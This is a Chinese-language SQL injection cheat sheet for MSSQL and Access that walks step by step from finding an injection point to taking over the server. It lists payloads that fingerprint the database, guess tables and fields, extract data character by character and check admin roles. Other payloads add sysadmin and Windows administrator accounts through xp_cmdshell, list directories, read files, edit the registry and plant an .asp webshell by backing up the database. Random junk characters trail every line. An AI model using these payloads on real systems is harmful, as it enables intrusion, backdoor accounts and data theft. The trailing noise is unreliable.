1.判断是否有注入;and 1=1 ;and 1=2 P1tc*2Z
2.初步判断是否是mssql ;and user>0 q1Gc0{+)
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3.注入参数是字符'and [查询条件] and ''=' -'ePx f
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' yAz`n[
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5.判断数据库系统 | #Z+s-
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;and (select count(*) from sysobjects)>0 mssql r%QTUuRXC3
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;and (select count(*) from msysobjects)>0 access sH(@X<{p
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 AJ1(q:P
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 d~n|F|`:
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 /Z`("X?_Kf
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9.(1)猜字段的ascii值(access) {/d<Jm:
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 *Y'nDv6_P
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(2)猜字段的ascii值(mssql) 4&]Sb}
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 6^_:N1@
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10.测试权限结构(mssql) n3Uw6gLD
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 3<">1] /,
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- =*<Cw?Gc
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7:iTx;,v
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- `P/7Mf
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Z{&dzc
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ,c }R*\
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;and 1=(select IS_MEMBER('db_owner'));-- od\-o:bS
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11.添加mssql和系统的帐户 y*ux7KO
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;exec master.dbo.sp_addlogin username;-- m+&)eQ:
;exec master.dbo.sp_password null,username,password;-- ~\HGV+S!g}
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- bp"@vlv
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;exec master.dbo.xp_cmdshell 'net user username password pYXusS7S
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- >|[ l?`
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- l6kq P
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- {DfXn1Cg0U
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12.(1)遍历目录 d#l z^Ls2
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;create table dirs(paths varchar(100), id int) |t <Uh,Bt
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Y7q=]
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;and (select top 1 paths from dirs)>0 Xx)PyO
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) .lbo\v}2W
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(2)遍历目录 Obj?, O
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- }fqz8'E9
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3y9R1/!
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 2^3N[pM;
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 9|('*
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 98Dg[O
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13.mssql中的存储过程 qHQWiu%h
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xp_regenumvalues 注册表根键, 子键 0<^!<i(%
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 V1h&{D\"
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xp_regread 根键,子键,键值名 )P|&o%E
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 +Y|1 7n
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xp_regwrite 根键,子键, 值名, 值类型, 值 R}T8cVxc
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 agI"Kh]j?
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xp_regdeletevalue 根键,子键,值名 7k<6oM1
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 45
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 -%,3qhsd
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14.mssql的backup创建webshell tjId?}\
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create table cmd(str image); B)v|A
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insert into cmd(str) values (''); CW+] Jv]"
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backup database model to disk='c:\l.asp'; O_S%PX
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15.mssql内置函数 3_ P<0%
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;and (select @@version)>0 获得Windows的版本号 R?Ou=p
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa zKllwIfi
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;and (select user_name())>0 爆当前系统的连接用户 \GP0FdpV
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;and (select db_name())>0 得到当前连接的数据库 Xus TU
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16.简洁的webshell 0nu&JQ
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use model +qiI;C_P\
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create table cmd(str image); FPC^-mD
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insert into cmd(str) values (''); *U}cj A:ZN
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backup database model to disk='g:\wwwtest\l.asp';